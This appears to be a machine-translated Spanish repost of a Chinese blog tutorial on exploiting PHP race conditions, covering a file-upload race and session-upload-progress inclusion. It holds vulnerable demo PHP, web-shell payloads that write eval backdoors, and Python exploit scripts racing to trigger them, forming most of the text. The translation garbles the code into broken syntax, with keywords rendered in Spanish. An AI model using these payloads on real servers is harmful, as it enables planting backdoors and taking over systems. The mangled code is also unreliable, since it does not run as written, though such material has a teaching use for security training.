Sube el archivo de condición de carrera

demostración de la prueba:

<Html>
<Body>
<Form action = "" method = "post"
enctype = "multipart / form-data">
<Label for = "archivo"> ​​Nombre: </ label>
<Input type = nombre de "archivo" = "archivo" />  
<Input type = "submit" name = "submit" value = "Enviar" />
</ Form>
</ Body>
</ Html>
<? Php

if (! empty ($ _ FILES)) {
move_uploaded_file ($ _ FILES [ 'archivo'] [ 'tmp_name'], $ _ FILES [ 'archivo'] [ 'nombre']);
unlink ($ _ FILES [ 'archivo'] [ 'nombre']);

}
?>

el contenido del archivo de Shell:

<? PHP 
md5 eco (1);
fputs (fopen ( 'shell6666.php', 'w'), '<php @eval ($ _ Mensaje [1])?>');
?>

Tener acceso a archivos de script de carga py:

# Codificación: UTF-8
las solicitudes de importación
def main ():
    i = 0
    mientras que 1:
        tratar:
            imprimir (i, final = '\ r')
            a = requests.get ( "http://aaa.io/sssss.php")
            si "c4ca4238a0b923820dcc509a6f75849b" en a.text:
                imprimir ( "OK")
                descanso
        excepto excepciones como el correo:
            pasar
        i + = 1
Si __name__ == '__main__':
    principal()

En donde c4ca4238a0b923820dcc509a6f75849b = md5 (1)

eructar Ajustes: -> Intrudermo enviado a Módulo ->

 

 

 

 A continuación, ejecute el script py, y eructo abierta voladura, el orden no importa, puede convertir casi la próxima vez.

 

Otro de los archivos de sesión y competir

manifestación:

<? Php
if (isset ($ _ GET [ 'archivo'])) {
	incluir './'. $ _GET [ 'file'];
}

En este caso no podemos subir el archivo, cómo usarlo? Ese archivo contiene sesión.

Sabemos session_start función de control de sesión abierta (), cuando no se utiliza la función de cómo hacerlo?

La presencia de la propiedad sesión upload_progress, que se utiliza para registrar el progreso de carga de archivos, y se habilita de estado por defecto.

 

Es decir, cuando hay campo PHP_SESSION_UPLOAD_PROGRESS de nuestro paquete de datos POST, sin llamar a la función session_start () también se puede iniciar sesión. Sin embargo, el defecto se borrará al final, por lo que necesitamos para tomar ventaja de las condiciones de competencia.

La prueba de demostración: 1.php

<Html>
<Body>
<Form action = "" method = "post"
enctype = "multipart / form-data">
<Label for = "archivo"> ​​Nombre: </ label>
<Input type = nombre = valor "texto" "PHP_SESSION_UPLOAD_PROGRESS" = "888" />  
<Input type = nombre de "archivo" = "archivo" />  
<Input type = "submit" name = "submit" value = "Enviar" />
</ Form>
</ Body>
</ Html>
<? Php
?> 

Nota: <input type = nombre de "texto" = valor "PHP_SESSION_UPLOAD_PROGRESS" = "888" /> debe estar delante de la etiqueta <input type = nombre de "archivo" = "archivo" />, de lo contrario no hay manera de controlar la generación de nombres de archivo de sesión.

 

Explotar la escritura:

me importación
las solicitudes de importación
enhebrado de importación
    
= Procesos 'PH1'
    
    
def t1 (sesión):
	while True:
		f = io.BytesIO (b'a' * 1024 * 50)
		respuesta = session.post (
			'Http: //localhost/2.php',
			data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<? = file_put_contents ( "shell123.php", "?? <= phpinfo ();>")>'},
			archivos = { 'Archivo' ( 'A.txt', f)},
			Galletas = { 'PHPSESSID': sessid}
		)
    
    
def t2 (sesión):
	while True:
		respuesta = session.get (f'http:? //localhost/2.php archivo = .. / Extensiones / tmp / tmp / sess_ {sessid} ')
		impresión (response.text)
    
    
con requests.session () como la sesión:
	t1 = threading.Thread (target = t1, args = (período de sesiones,))
	t1.daemon = True
	t1.start ()

	t2 (sesión)

Modificar la ruta correspondiente fichero de caminos de acceso, y la sesión, se puede. Generar archivos shell123.php después de éxito.

Supongo que te gusta

Origin www.cnblogs.com/xiaozhiru/p/12639405.html
Recomendado
Clasificación